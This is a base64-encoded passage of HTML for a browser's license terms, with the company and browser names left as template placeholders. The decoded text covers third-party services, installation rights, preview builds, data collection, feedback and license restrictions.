gICBQcmV2aWV3cyB1bmRlciBTZWN0aW9uIDEuMi4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMS4zLiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgT3RoZXIgU2VydmljZXMgPC9oMj4gLiBUaGUgU29mdHdhcmUgbWF5IGluY2x1ZGUKICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZXMgdGhhdCBwcm92aWRlIGFuIGFjY2VzcyBwb2ludCB0bywgb3IgcmVseSBvbiwgb3RoZXIgc2VydmljZXMsIHdlYnNpdGVzLCBsaW5rcywgY29udGVudCwKICAgICAgICAgICAgICAgICAgICAgICAgbWF0ZXJpYWwsIGludGVncmF0aW9ucyBvciBhcHBsaWNhdGlvbnMsIGluY2x1ZGluZyBhcyBwcm92aWRlZCBieSBpbmRlcGVuZGVudCB0aGlyZCBwYXJ0aWVzCiAgICAgICAgICAgICAgICAgICAgICAgICjigJxPdGhlciBTZXJ2aWNlc+KAnSkuIFlvdXIgdXNlIG9mIE90aGVyIFNlcnZpY2VzIG9yIG9mIFNvZnR3YXJlIGZlYXR1cmVzIHRoYXQgcmVseSBvbiBPdGhlcgogICAgICAgICAgICAgICAgICAgICAgICBTZXJ2aWNlcyBtYXkgYmUgZ292ZXJuZWQgYnkgc2VwYXJhdGUgdGVybXMgYW5kIHN1YmplY3QgdG8gc2VwYXJhdGUgcHJpdmFjeSBwb2xpY2llcy4gWW91IGNhbgogICAgICAgICAgICAgICAgICAgICAgICB2aWV3IHRoZXNlIHNlcGFyYXRlIHRlcm1zIGFuZCBwb2xpY2llcyB0aHJvdWdoIHRoZSBPdGhlciBTZXJ2aWNlc+KAmSB3ZWJzaXRlcyBvciBzZXR0aW5ncywgYXMKICAgICAgICAgICAgICAgICAgICAgICAgYXBwbGljYWJsZS4gVGhlIE90aGVyIFNlcnZpY2VzIG1heSBub3QgYmUgYXZhaWxhYmxlIGluIGFsbCByZWdpb25zLiBZb3UgbWF5IG5vdCB1c2UgdG9rZW5zIHRoZQogICAgICAgICAgICAgICAgICAgICAgICBTb2Z0d2FyZSB1c2VzIHRvIGNhbGwgaW50byBhICRDT01QQU5ZIEF6dXJlIHNlcnZpY2Ugc2VwYXJhdGUgZnJvbSB0aGUgU29mdHdhcmUuCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDE+IDIuICZuYnNwOyZuYnNwOyZuYnNwOyAkQ09NUEFOWV9VUFBFUiAkQlJPV1NFUl9VUFBFUiBGT1IgTk9OLVdJTkRPV1MgREVWSUNFUyA8L2gxPjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxocj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8cD4gSUYgWU9VIExJVkUgSU4gKE9SIEFSRSBBIEJVU0lORVNTIFdJVEggQSBQUklOQ0lQQUwgUExBQ0UgT0YgQlVTSU5FU1MgSU4pIFRIRSBVTklURUQgU1RBVEVTLAogICAgICAgICAgICAgICAgICAgICAgICBQTEVBU0UgUkVBRCBUSEUg4oCcQklORElORyBBUkJJVFJBVElPTiBBTkQgQ0xBU1MgQUNUSU9OIFdBSVZFUuKAnSBTRUNUSU9OIDIuMTQgQkVMT1cuIElUIEFGRkVDVFMgSE9XCiAgICAgICAgICAgICAgICAgICAgICAgIERJU1BVVEVTIEFSRSBSRVNPTFZFRC4gPC9wPgogICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxocj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMi4xLiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgSW5zdGFsbGF0aW9uIGFuZCBVc2UgUmlnaHRzIDwvaDI+IC4gRm9yCiAgICAgICAgICAgICAgICAgICAgICAgIGluc3RhbGxhdGlvbiBhbmQgdXNlIG9mIHRoZSBTb2Z0d2FyZSBvbiBhbnkgbm9uLVdpbmRvd3MgcGxhdGZvcm0sIGluY2x1ZGluZyBidXQgbm90IGxpbWl0ZWQgdG8KICAgICAgICAgICAgICAgICAgICAgICAgbWFjT1MgYW5kIExpbnV4LCB5b3UgbWF5IGluc3RhbGwgYW5kIHVzZSBvbmUgY29weSBvZiB0aGUgU29mdHdhcmUgb24gYW55IGRldmljZSBydW5uaW5nIHN1Y2gKICAgICAgICAgICAgICAgICAgICAgICAgbm9uLVdpbmRvd3MgcGxhdGZvcm0uCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuMi4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IFRoaXJkIFBhcnR5IFNvZnR3YXJlIDwvaDI+IC4gVGhlIFNvZnR3YXJlIG1heQogICAgICAgICAgICAgICAgICAgICAgICBpbmNsdWRlIHRoaXJkIHBhcnR5IHNvZnR3YXJlIHRoYXQgaXMgbGljZW5zZWQgdG8geW91IHVuZGVyIHRoaXMgYWdyZWVtZW50IG9yIHVuZGVyIHRoZWlyIG93bgogICAgICAgICAgICAgICAgICAgICAgICB0ZXJtcyBvciB1bmRlciBvcGVuIHNvdXJjZSBsaWNlbnNlcyB3aXRoIHNvdXJjZSBjb2RlIGF2YWlsYWJpbGl0eSBvcHRpb25zLiBMaWNlbnNlIHRlcm1zLAogICAgICAgICAgICAgICAgICAgICAgICBub3RpY2VzLCBhbmQgYWNrbm93bCRCUk9XU0VSX0xPV0VSbWVudHMsIGlmIGFueSwgZm9yIHRoZSB0aGlyZCBwYXJ0eSBzb2Z0d2FyZSBtYXkgYmUgYWNjZXNzaWJsZQogICAgICAgICAgICAgICAgICAgICAgICBvbmxpbmUgYXQKICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9ha2EubXMvdGhpcmRwYXJ0eW5vdGljZXMiPiBodHRwczovL2FrYS5tcy90aGlyZHBhcnR5bm90aWNlcyA8L2E+IG9yIGluIGFuCiAgICAgICAgICAgICAgICAgICAgICAgIGFjY29tcGFueWluZyBub3RpY2VzIGZpbGUuIEV2ZW4gaWYgc3VjaCBzb2Z0d2FyZSBpcyBnb3Zlcm5lZCBieSBvdGhlciBhZ3JlZW1lbnRzLCB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgZGlzY2xhaW1lciwgbGltaXRhdGlvbnMgb24sIGFuZCBleGNsdXNpb25zIG9mIGRhbWFnZXMgYmVsb3cgYWxzbyBhcHBseSB0byB0aGUgZXh0ZW50IGFsbG93ZWQgYnkKICAgICAgICAgICAgICAgICAgICAgICAgYXBwbGljYWJsZSBsYXcuCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuMy4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IFByZXZpZXdzLiA8L2gyPiAkQ09NUEFOWSBtYXkgbWFrZSBwcmV2aWV3LAogICAgICAgICAgICAgICAgICAgICAgICBpbnNpZGVyLCBiZXRhIG9yIG90aGVyIHByZS1yZWxlYXNlIHZlcnNpb25zIG9mIHRoZSBTb2Z0d2FyZSAo4oCcUHJldmlld3PigJ0pIGF2YWlsYWJsZSB0byB5b3UuIFlvdQogICAgICAgICAgICAgICAgICAgICAgICBtYXkgdXNlIFByZXZpZXdzIG9ubHkgdXAgdG8gdGhlIHNvZnR3YXJl4oCZcyBleHBpcmF0aW9uIGRhdGUgKGlmIGFueSkgYW5kIHNvIGxvbmcgYXMgeW91IGNvbXBseQogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIHRoZXNlIGxpY2Vuc2UgdGVybXMuIFByZXZpZXdzIGFyZSBleHBlcmltZW50YWwsIHdoaWNoIG1lYW5zIHRoYXQgUHJldmlld3MgbWF5IG5vdCBvcGVyYXRlCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcnJlY3RseSBhbmQgbWF5IGJlIHN1YnN0YW50aWFsbHkgZGlmZmVyZW50IGZyb20gdGhlIGNvbW1lcmNpYWxseSByZWxlYXNlZCB2ZXJzaW9uLiBJbiBzb21lCiAgICAgICAgICAgICAgICAgICAgICAgIGluc3RhbmNlcywgUHJldmlld3MgbWF5IGV2ZW4gaW5hZHZlcnRlbnRseSBkYW1hZ2UgeW91ciBkZXZpY2UgcmVuZGVyaW5nIGl0IGlub3BlcmFibGUgb3IgY2F1c2UKICAgICAgICAgICAgICAgICAgICAgICAgb2NjYXNpb25hbCBjcmFzaGVzLCBkYXRhIGxvc3Mgb3IgYXBwcyB0byBzdG9wIHdvcmtpbmcgb3IgYmUgZGVsZXRlZC4gVG8gcmVjb3ZlciwgeW91IG1heSBoYXZlIHRvCiAgICAgICAgICAgICAgICAgICAgICAgIHJlaW5zdGFsbCB5b3VyIGFwcHMsIHRoZSBvcGVyYXRpbmcgc3lzdGVtIG9yIHJlLWZsYXNoIHlvdXIgZGV2aWNlLiBJbiBzb21lIGluc3RhbmNlcywgeW91IG1heQogICAgICAgICAgICAgICAgICAgICAgICBub3QgYmUgYWJsZSB0byBnbyBiYWNrIHRvIHlvdXIgcHJpb3IgdmVyc2lvbiBvZiB0aGUgU29mdHdhcmUuIEJlY2F1c2UgUHJldmlld3MgbWF5IGNvbnRhaW4gbW9yZQogICAgICAgICAgICAgICAgICAgICAgICBlcnJvcnMgb3IgaW5hY2N1cmFjaWVzLCB5b3Ugc2hvdWxkIGJhY2stdXAgeW91ciBkZXZpY2UgYmVmb3JlIGluc3RhbGxpbmcgYW55IFByZXZpZXdzLiBXZQogICAgICAgICAgICAgICAgICAgICAgICByZWNvbW1lbmQgaW5zdGFsbGluZyBQcmV2aWV3cyBvbiBub24tcHJvZHVjdGlvbiBkZXZpY2VzIHRoYXQgYXJlIG5vdCBidXNpbmVzcyBjcml0aWNhbCBiZWNhdXNlCiAgICAgICAgICAgICAgICAgICAgICAgIHlvdSBhcmUgbW9yZSBsaWtlbHkgdG8gZXhwZXJpZW5jZSBjcmFzaGVzLCBzZXR0aW5nIGFuZCBwb2xpY3kgY2hhbmdlcywgbG9zcyBvZiBkYXRhIG9yIGFwcHMsCiAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmUgYW5kIGZ1bmN0aW9uYWxpdHkgY2hhbmdlcywgY2F1c2Ugb3RoZXIgYXBwcyB0byBzdG9wIHdvcmtpbmcsIGJlIHVwZGF0ZWQsIG9yIHJlbW92ZWQgZnJvbQogICAgICAgICAgICAgICAgICAgICAgICB5b3VyIGRldmljZSBhdXRvbWF0aWNhbGx5IHdpdGhvdXQgbm90aWNlIGFuZCBvdGhlciBwb3RlbnRpYWwgaXNzdWVzLiBXZSBoaWdobHkgcmVjb21tZW5kIHRoYXQKICAgICAgICAgICAgICAgICAgICAgICAgeW91IGRvIG5vdCBpbnN0YWxsIHRoZSBQcmV2aWV3cyBvbiBhbnkgc3lzdGVtcyB5b3UgZG9u4oCZdCBkaXJlY3RseSBjb250cm9sIG9yIHRoYXQgeW91IHNoYXJlIHdpdGgKICAgICAgICAgICAgICAgICAgICAgICAgb3RoZXJzLiBOb3R3aXRoc3RhbmRpbmcgYW55dGhpbmcgdG8gdGhlIGNvbnRyYXJ5IGluIHRoaXMgYWdyZWVtZW50LCBQcmV2aWV3cyBhcmUgbm9udHJhbnNmZXJhYmxlCiAgICAgICAgICAgICAgICAgICAgICAgIGFuZCBwcm92aWRlZCDigJxBUyBJUy7igJ0gQnkgaW5zdGFsbGluZyBQcmV2aWV3cyBvbiB5b3VyIGRldmljZSwgeW91IG1heSB2b2lkIG9yIGltcGFjdCB5b3VyIGRldmljZQogICAgICAgICAgICAgICAgICAgICAgICB3YXJyYW50eSBhbmQgbWF5IG5vdCBiZSBlbnRpdGxlZCB0byBzdXBwb3J0IGZyb20gdGhlIG1hbnVmYWN0dXJlciBvZiB5b3VyIGRldmljZSBvciBuZXR3b3JrCiAgICAgICAgICAgICAgICAgICAgICAgIG9wZXJhdG9yLCBpZiBhcHBsaWNhYmxlLiAkQ09NUEFOWSBtYXkgbm90IHByb3ZpZGUgc3VwcG9ydCBzZXJ2aWNlcyBmb3IgUHJldmlld3MuICRDT01QQU5ZIG1heQogICAgICAgICAgICAgICAgICAgICAgICBjaGFuZ2Ugb3IgZGlzY29udGludWUgdGhlIFByZXZpZXdzLCBvciB0ZXJtaW5hdGUgeW91ciBhY2Nlc3MgdG8gdGhlIFByZXZpZXdzLCBhdCBhbnkgdGltZQogICAgICAgICAgICAgICAgICAgICAgICB3aXRob3V0IG5vdGljZSBhbmQgZm9yIGFueSByZWFzb24gd2hhdHNvZXZlci4gWW91IG1heSBzdG9wIHVzaW5nIHRoZSBQcmV2aWV3cyBhdCBhbnkgdGltZSBieQogICAgICAgICAgICAgICAgICAgICAgICB1bi1pbnN0YWxsaW5nIGFuZCBkZWxldGluZyBhbGwgY29waWVzIG9mIGFueSBQcmV2aWV3cy4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMz4gMi4zLjEuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBEYXRhIENvbGxlY3Rpb24gZm9yIFByZXZpZXdzIDwvaDM+IC4gUHJldmlld3MKICAgICAgICAgICAgICAgICAgICAgICAgbWF5IG5vdCBoYXZlIGluY2x1ZGVkLCByZWR1Y2VkLCBvciBkaWZmZXJlbnQgc2VjdXJpdHksIHByaXZhY3ksIGFjY2Vzc2liaWxpdHksIGF2YWlsYWJpbGl0eSBhbmQKICAgICAgICAgICAgICAgICAgICAgICAgcmVsYXRhYmlsaXR5IHN0YW5kYXJkcyByZWxhdGl2ZSB0byBjb21tZXJjaWFsbHkgcHJvdmlkZWQgc2VydmljZXMgYW5kIHNvZnR3YXJlLiBGb3IgUHJldmlld3MKICAgICAgICAgICAgICAgICAgICAgICAgY292ZXJlZCB1bmRlciBTZWN0aW9uIDIuMywgcHJpdmFjeSBhbmQgZmVhdHVyZSBzZXR0aW5ncyBtYXkgbm90IHdvcmsgYXMgaW50ZW5kZWQsIGFuZCB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgUHJldmlld3MgbWF5IG5vdCB3b3JrIHdpdGggb3RoZXIgb3BlcmF0aW5nIHN5c3RlbSBwcml2YWN5IHNldHRpbmdzLiBEYXRhIGNvbGxlY3RlZCBmcm9tIHlvdXIgdXNlCiAgICAgICAgICAgICAgICAgICAgICAgIG9mIFByZXZpZXdzLCBpbmNsdWRpbmcgZGlhZ25vc3RpYywgdGVjaG5pY2FsLCBlcnJvciByZXBvcnRzLCBjcmFzaCBkdW1wcyBhbmQgb3RoZXIgcmVsYXRlZCBkYXRhCiAgICAgICAgICAgICAgICAgICAgICAgIGZyb20geW91ciBkZXZpY2VzIHJ1bm5pbmcgUHJldmlld3MgbWF5IGJlIHVzZWQsIHN0b3JlZCwgcHJvY2Vzc2VkIGFuZCBhbmFseXplZCB0byBrZWVwIHRoZQogICAgICAgICAgICAgICAgICAgICAgICBQcmV2aWV3cyB1cCB0byBkYXRlLCBzZWN1cmUsIGFuZCBvcGVyYXRpbmcgcHJvcGVybHkuIEl0IGFsc28gaGVscHMgdXMgaW1wcm92ZSAkQ09NUEFOWSBwcm9kdWN0cwogICAgICAgICAgICAgICAgICAgICAgICBhbmQgc2VydmljZXMgYW5kIG1heSBiZSB1c2VkIGZvciBhbnkgb3RoZXIgcHVycG9zZSBkZXNjcmliZWQgaW4gdGhlICRDT01QQU5ZIFByaXZhY3kgU3RhdGVtZW50LgogICAgICAgICAgICAgICAgICAgICAgICBJZiB5b3UgZGlzYWJsZSBkYXRhIGNvbGxlY3Rpb24gdGhyb3VnaCBjb250cm9scyBhdmFpbGFibGUgaW4gdGhlIFByZXZpZXdzLCB3ZSBtYXkgY29udGludWUgdG8KICAgICAgICAgICAgICAgICAgICAgICAgY29sbGVjdCBkaWFnbm9zdGljIGluZm9ybWF0aW9uIGFib3V0IHRoZSBkb3dubG9hZCwgdGhlIGluc3RhbGxhdGlvbiBhbmQgYW55IHJlbW92YWwgb2YgdGhlCiAgICAgICAgICAgICAgICAgICAgICAgIFByZXZpZXdzIGFuZCDigJxiYXNpY+KAnSBkYXRhIGFzIGRlc2NyaWJlZCBpbiB0aGUgV2luZG93cyBEaWFnbm9zdGljcyBzZWN0aW9uIG9mIHRoZSAkQ09NUEFOWQogICAgICAgICAgICAgICAgICAgICAgICBQcml2YWN5IFN0YXRlbWVudC4gVGhlIDxzdHJvbmc+ICRDT01QQU5ZIFByaXZhY3kgU3RhdGVtZW50IDwvc3Ryb25nPiAoIDxhCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHJlZj0iaHR0cHM6Ly9nby4kQ09NUEFOWV9MT1dFUi5jb20vZndsaW5rLz9MaW5rSWQ9NTIxODM5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh0dHBzOi8vZ28uJENPTVBBTllfTE9XRVIuY29tL2Z3bGluay8/TGlua0lkPTUyMTgzOSA8L2E+ICksIGFuZCB0aGlzIHBhcmFncmFwaCwgYXBwbGllcyB0bwogICAgICAgICAgICAgICAgICAgICAgICBQcmV2aWV3cyB1bmRlciBTZWN0aW9uIDIuMy4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMi40LiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgT3RoZXIgU2VydmljZXMgPC9oMj4gLiBUaGUgU29mdHdhcmUgbWF5IGluY2x1ZGUKICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZXMgdGhhdCBwcm92aWRlIGFuIGFjY2VzcyBwb2ludCB0bywgb3IgcmVseSBvbiwgb3RoZXIgc2VydmljZXMsIHdlYnNpdGVzLCBsaW5rcywgY29udGVudCwKICAgICAgICAgICAgICAgICAgICAgICAgbWF0ZXJpYWwsIGludGVncmF0aW9ucyBvciBhcHBsaWNhdGlvbnMsIGluY2x1ZGluZyBhcyBwcm92aWRlZCBieSBpbmRlcGVuZGVudCB0aGlyZCBwYXJ0aWVzCiAgICAgICAgICAgICAgICAgICAgICAgICjigJxPdGhlciBTZXJ2aWNlc+KAnSkuIFlvdXIgdXNlIG9mIE90aGVyIFNlcnZpY2VzIG9yIG9mIFNvZnR3YXJlIGZlYXR1cmVzIHRoYXQgcmVseSBvbiBPdGhlcgogICAgICAgICAgICAgICAgICAgICAgICBTZXJ2aWNlcyBtYXkgYmUgZ292ZXJuZWQgYnkgc2VwYXJhdGUgdGVybXMgYW5kIHN1YmplY3QgdG8gc2VwYXJhdGUgcHJpdmFjeSBwb2xpY2llcy4gWW91IGNhbgogICAgICAgICAgICAgICAgICAgICAgICB2aWV3IHRoZXNlIHNlcGFyYXRlIHRlcm1zIGFuZCBwb2xpY2llcyB0aHJvdWdoIHRoZSBPdGhlciBTZXJ2aWNlc+KAmSB3ZWJzaXRlcyBvciBzZXR0aW5ncywgYXMKICAgICAgICAgICAgICAgICAgICAgICAgYXBwbGljYWJsZS4gVGhlIE90aGVyIFNlcnZpY2VzIG1heSBub3QgYmUgYXZhaWxhYmxlIGluIGFsbCByZWdpb25zLgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXY+PGgyPiAyLjUuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBDb21tdW5pY2F0aW9ucyB3aXRoIFlvdSA8L2gyPiAuICRDT01QQU5ZIG1heQogICAgICAgICAgICAgICAgICAgICAgICB1c2UgeW91ciBjb250YWN0IGluZm9ybWF0aW9uIChpKSB0byBjb21tdW5pY2F0ZSB3aXRoIHlvdSBhYm91dCB5b3VyIHVzZSBvZiB0aGUgU29mdHdhcmUsIGFuZAogICAgICAgICAgICAgICAgICAgICAgICAoaWkpIHRvIHByb3ZpZGUgeW91IHdpdGggYWRkaXRpb25hbCBpbmZvcm1hdGlvbiwgYWJvdXQgdGhlIFNvZnR3YXJlIGFuZCBvdGhlciAkQ09NUEFOWSBwcm9kdWN0cwogICAgICAgICAgICAgICAgICAgICAgICBvciBzZXJ2aWNlcy4gVGhpcyBjb250YWN0IG1heSBiZSBieSBlbWFpbCwgU01TLCBpbnN0YW50IG1lc3NhZ2UsIHdlYiBjaGF0LCBwaG9uZSwgaW4gdGhlIHVzZXIKICAgICAgICAgICAgICAgICAgICAgICAgaW50ZXJmYWNlLCBvciBvdGhlciBtZWFucywgYW5kIG1heSBpbmNsdWRlIG9mZmVycy4gWW91IGNhbiBhbHdheXMgY2hvb3NlIHdoZXRoZXIgeW91IHdpc2ggdG8KICAgICAgICAgICAgICAgICAgICAgICAgcmVjZWl2ZSBwcm9tb3Rpb25hbCBlbWFpbCwgU01TIG1lc3NhZ2VzLCB0ZWxlcGhvbmUgY2FsbHMgYW5kIHBvc3RhbCBtYWlsIGZyb20gJENPTVBBTlkuCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuNi4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IEZlZWRiYWNrIDwvaDI+IC4gSWYgeW91IHByb3ZpZGUgJENPTVBBTlkKICAgICAgICAgICAgICAgICAgICAgICAgY29tbWVudHMsIHN1Z2dlc3Rpb25zIG9yIG90aGVyIGZlZWRiYWNrIGFib3V0IHRoZSBTb2Z0d2FyZSB0byAkQ09NUEFOWSAo4oCcU3VibWlzc2lvbuKAnSksIHlvdQogICAgICAgICAgICAgICAgICAgICAgICBncmFudCAkQ09NUEFOWSBhbmQgaXRzIHBhcnRuZXJzIHJpZ2h0cyB0byB1c2UgdGhlIFN1Ym1pc3Npb24gaW4gYW55IHdheSBhbmQgZm9yIGFueSBwdXJwb3NlLgogICAgICAgICAgICAgICAgICAgICAgICBZb3Ugd2lsbCBub3QgZ2l2ZSAkQ09NUEFOWSBhIFN1Ym1pc3Npb24gdGhhdCBpcyBzdWJqZWN0IHRvIGEgbGljZW5zZSB0aGF0IHJlcXVpcmVzICRDT01QQU5ZIHRvCiAgICAgICAgICAgICAgICAgICAgICAgIGxpY2Vuc2UgaXRzIFNvZnR3YXJlIG9yIGRvY3VtZW50YXRpb24gdG8gdGhpcmQgcGFydGllcyBiZWNhdXNlICRDT01QQU5ZIGluY2x1ZGVzIHlvdXIgZmVlZGJhY2sKICAgICAgICAgICAgICAgICAgICAgICAgaW4gdGhlbS4gVGhlc2UgcmlnaHRzIHN1cnZpdmUgdGhpcyBhZ3JlZW1lbnQuCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDI+IDIuNy4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IERhdGEgQ29sbGVjdGlvbiA8L2gyPiAuIFRoZSBTb2Z0d2FyZSBtYXkKICAgICAgICAgICAgICAgICAgICAgICAgY29sbGVjdCBpbmZvcm1hdGlvbiBhYm91dCB5b3UgYW5kIHlvdXIgdXNlIG9mIHRoZSBTb2Z0d2FyZSBhbmQgc2VuZCB0aGF0IHRvICRDT01QQU5ZLiBCeQogICAgICAgICAgICAgICAgICAgICAgICBhY2NlcHRpbmcgdGhpcyBhZ3JlZW1lbnQgYW5kIHVzaW5nIHRoZSBTb2Z0d2FyZSB5b3UgYWdyZWUgdGhhdCAkQ09NUEFOWSBtYXkgY29sbGVjdCwgdXNlLCBhbmQKICAgICAgICAgICAgICAgICAgICAgICAgZGlzY2xvc2UgdGhlIGluZm9ybWF0aW9uIGFzIGRlc2NyaWJlZCBpbiB0aGUgPHN0cm9uZz4gJENPTVBBTlkgUHJpdmFjeSBTdGF0ZW1lbnQgPC9zdHJvbmc+IGF0CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vZ28uJENPTVBBTllfTE9XRVIuY29tL2Z3bGluay8/TGlua0lkPTUyMTgzOSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBodHRwczovL2dvLiRDT01QQU5ZX0xPV0VSLmNvbS9md2xpbmsvP0xpbmtJZD01MjE4MzkgPC9hPiAsIGFuZCBhcyBtYXkgYmUgZGVzY3JpYmVkIGluIHRoZQogICAgICAgICAgICAgICAgICAgICAgICB1c2VyCiAgICAgICAgICAgICAgICAgICAgICAgIGludGVyZmFjZSBhc3NvY2lhdGVkIHdpdGggdGhlIFNvZnR3YXJlIGZlYXR1cmVzLgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXY+PGgyPiAyLjguICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBTY29wZSBvZiBMaWNlbnNlLiA8L2gyPiBUaGUgU29mdHdhcmUgaXMKICAgICAgICAgICAgICAgICAgICAgICAgbGljZW5zZWQsIG5vdCBzb2xkLiBUaGlzIGFncmVlbWVudCBnaXZlcyB5b3Ugb25seSBzb21lIHJpZ2h0cyB0byB1c2UgdGhlIFNvZnR3YXJlLiAkQ09NUEFOWQogICAgICAgICAgICAgICAgICAgICAgICByZXNlcnZlcyBhbGwgb3RoZXIgcmlnaHRzLiBVbmxlc3MgYXBwbGljYWJsZSBsYXcgZ2l2ZXMgeW91IG1vcmUgcmlnaHRzIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICB5b3Ugd2lsbCBub3QgKGFuZCBoYXZlIG5vIHJpZ2h0IHRvKToKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMz4gKGEpICZuYnNwOyZuYnNwOyB3b3JrIGFyb3VuZCBhbnkgdGVjaG5pY2FsIGxpbWl0YXRpb25zIGluIHRoZSBTb2Z0d2FyZSB0aGF0IG9ubHkgYWxsb3cgeW91CiAgICAgICAgICAgICAgICAgICAgICAgIHRvIHVzZSBpdCBpbiBjZXJ0YWluIHdheXM7IDwvaDM+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDM+IChiKSAmbmJzcDsmbmJzcDsgcmV2ZXJzZSBlbmdpbmVlciwgZGVjb21waWxlLCBkaXNhc3NlbWJsZSwgZGVjcnlwdCBvciBvdGhlcndpc2UgYXR0ZW1wdCB0bwogICAgICAgICAgICAgICAgICAgICAgICBkZXJpdmUgdGhlIHNvdXJjZSBjb2RlIG9mIHRoZSBTb2Z0d2FyZSwgZXhjZXB0IGFuZCBvbmx5IHRvIHRoZSBleHRlbnQgdGhhdCB0aGUgZm9yZWdvaW5nCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3RyaWN0aW9uIGlzIChpKSBwZXJtaXR0ZWQgYnkgYXBwbGljYWJsZSBsYXc7IChpaSkgcmVxdWlyZWQgYnkgdGhpcmQgcGFydHkgbGljZW5zaW5nIHRlcm1zCiAgICAgICAgICAgICAgICAgICAgICAgIGdvdmVybmluZyB0aGUgdXNlIG9mIGNlcnRhaW4gb3Blbi1zb3VyY2UgY29tcG9uZW50cyB0aGF0IG1heSBiZSBpbmNsdWRlZCB3aXRoIHRoZSBTb2Z0d2FyZTsgb3IKICAgICAgICAgICAgICAgICAgICAgICAgKGlpaSkgcmVxdWlyZWQgdG8gZGVidWcgY2hhbmdlcyB0byBhbnkgbGlicmFyaWVzIGxpY2Vuc2VkIHVuZGVyIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCiAgICAgICAgICAgICAgICAgICAgICAgIExpY2Vuc2Ugd2hpY2ggYXJlIGluY2x1ZGVkIHdpdGggYW5kIGxpbmtlZCB0byBieSB0aGUgU29mdHdhcmUuIDwvaDM+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDM+IChjKSAmbmJzcDsmbmJzcDsgcmVtb3ZlLCBtaW5pbWl6ZSwgYmxvY2ssIG9yIG1vZGlmeSBhbnkgbm90aWNlcyBvZiAkQ09NUEFOWSBvciBpdHMKICAgICAgICAgICAgICAgICAgICAgICAgc3VwcGxpZXJzIGluIHRoZSBTb2Z0d2FyZTsgPC9oMz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMz4gKGQpICZuYnNwOyZuYnNwOyB3aGVuIHVzaW5nIEludGVybmV0LWJhc2VkIGZlYXR1cmVzLCB5b3UgbWF5IG5vdCB1c2UgdGhvc2UgZmVhdHVyZXMgaW4gYW55CiAgICAgICAgICAgICAgICAgICAgICAgIHdheSB0aGF0IGNvdWxkIGludGVyZmVyZSB3aXRoIGFueW9uZSBlbHNl4oCZcyB1c2Ugb2YgdGhlbSBvciB0byB0cnkgdG8gZ2FpbiBhY2Nlc3MgdG8gb3IgdXNlIGFueQogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlLCBkYXRhLCBhY2NvdW50LCBvciBuZXR3b3JrLCBpbiBhbiB1bmF1dGhvcml6ZWQgbWFubmVyOyA8L2gzPjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXY+PGgzPiAoZSkgJm5ic3A7Jm5ic3A7IHVzZSB0aGUgU29mdHdhcmUgaW4gYW55IHdh